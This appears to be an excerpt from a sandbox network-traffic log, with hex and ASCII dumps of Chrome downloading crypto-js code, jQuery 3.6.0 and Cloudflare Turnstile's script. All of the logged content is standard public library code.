2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d Data Ascii: or(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c Data Ascii: :0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 Data Ascii: ffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringif
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d Data Ascii: r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLM
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d Data Ascii: bs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 Data Ascii: 39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49715	151.101.194.137	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:14 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:14 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2007721 Date: Fri, 10 Jan 2025 15:33:14 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890087-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 0 X-Timer: S1736523195.684651,VS0,VE1 Vary: Accept-Encoding
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-10 15:33:14 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49717	104.18.94.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:15 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:15 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:15 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ffdb9727dfa41a1-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:15 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
